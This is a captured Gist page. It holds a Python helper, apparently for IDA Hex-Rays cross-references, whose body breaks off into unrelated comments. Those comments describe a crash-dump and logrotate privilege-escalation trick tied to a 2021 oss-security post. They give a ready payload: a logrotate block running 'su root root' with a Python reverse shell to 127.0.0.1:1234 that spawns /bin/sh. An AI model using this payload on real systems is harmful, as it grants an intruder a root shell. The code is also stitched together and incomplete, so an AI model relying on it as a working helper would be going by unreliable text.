Skip to content

Instantly share code, notes, and snippets.

def get_xref_hexrays(target_data_ea):
"""
gets a list of the hexrays that uses the provided address
target_data_ea - target address
returns a list dicts where the target is used
[{'function': 'boot_thing', 'code': 'if ( boot_thing(2u, &blah) )'},]
"""
results = []
query = ''
# https://www.openwall.com/lists/oss-security/2021/10/20/2
# need to adjust os.environ to a value tha ends up in the coredump LS_COLORS worked in this example
# payload is:
# /var/crash/test.log{
# su root root
# daily
# size=0
# firstaction
# /usr/bin/python3 -c "import sys,socket,os,pty;s=socket.socket();s.connect(('127.0.0.1', 1234));[os.dup2(s.fileno(), fd)for fd in (0,1,2)]; pty.spawn('/bin/sh')";
# endscript